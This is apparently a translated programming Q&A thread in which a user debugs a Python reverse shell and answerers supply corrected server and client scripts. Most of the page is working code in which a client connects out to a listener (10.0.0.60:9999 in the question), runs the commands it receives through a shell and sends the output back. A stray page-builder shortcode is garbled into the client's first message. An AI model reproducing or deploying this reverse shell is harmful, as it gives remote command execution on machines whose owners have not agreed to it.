反向shell循环

时间:2017-06-20 19:01:57

标签: python python-3.x shell

我发现了反向外壳,我找到了

服务器

from socket import *

HOST = ''
PORT = 9999

s = socket(AF_INET, SOCK_STREAM)
s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
s.bind((HOST, PORT))
print("Listening on port " + str(PORT))
s.listen(10)
conn, addr = s.accept()
print("Connected to " + str(addr))
data = conn.recv(1024)

while 1:
    command = input("connected\n")
    conn.send(str(command).encode('utf-8'))
    if command == "quit": break
    data = conn.recv(1024).decode('utf-8')
print (data)

conn.close()

客户端

import socket, subprocess

HOST = '10.0.0.60'
PORT = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(
    '[fusion_builder_container hundred_percent="yes" overflow="visible"][fusion_builder_row][fusion_builder_column type="1_1" background_position="left top" background_color="" border_size="" border_color="" border_style="solid" spacing="yes" background_image="" background_repeat="no-repeat" padding="" margin_top="0px" margin_bottom="0px" class="" id="" animation_type="" animation_speed="0.3" animation_direction="left" hide_on_mobile="no" center_content="no" min_height="none"][*] Connected')

while 1:
    data = s.recv(1024).decode('utf-8')
    if data == "quit": break
    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    stdout_value = proc.stdout.read() + proc.stderr.read()
    s.send(stdout_value).encode('utf-8')
s.close()

错误

connected
dir
connected
dir

经过大量的试验和错误,当我运行时,客户端都连接到服务器,但是在输入dir等输入时,它会循环回等待输入。我还是假设它有一个与编码/解码有关的问题,但是我已经浏览了一些文档,而且我还不确定是否有修复。

3 个答案:

答案 0 :(得分:1)

您的服务器未向您显示通过网络发送到客户端的命令的输出,因为您在服务器的主循环内没有对data执行任何操作。我认为您希望打印每个命令的结果的print命令没有正确缩进。

print(data)缩进为与前面的行相同,您的程序应该按照您的意图运行。

答案 1 :(得分:0)

#Server Side Script

import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
host = socket.gethostname()
port = 9999

s.bind((host,port))

print ("Waiting for connection...")
s.listen(5)

conn,addr = s.accept()
print ('Got Connection from', addr)
x='Server Saying Hi'.encode("utf-8")
while True:
    command=input("Shell > ")
    if 'terminate' in command:
        conn.send('terminate'.encode("utf-8"))
        conn.close()
        break
    else:
        conn.send(bytes(command.encode("utf-8")))
        print(conn.recv(20000).decode("utf-8"))

答案 2 :(得分:0)

客户端脚本

import socket           
import subprocess
def connect():
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    host = socket.gethostname()         # Get current machine name
    port = 9999                         # Client wants to connect to server's                    # port number 9999
    s.connect((host,port))

    while True :
        try:
            command=s.recv(1024).decode("utf-8")
            print('Server Says :- ',command)
            if 'terminate' in command:
                s.close()
                break

            else:
                    CMD=subprocess.Popen(command,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
                    s.send(CMD.stdout.read())
                    s.send(CMD.stderr.read())

        except ConnectionAbortedError as e:
            print("Server Connection Closed !\n\n\n",e)
connect()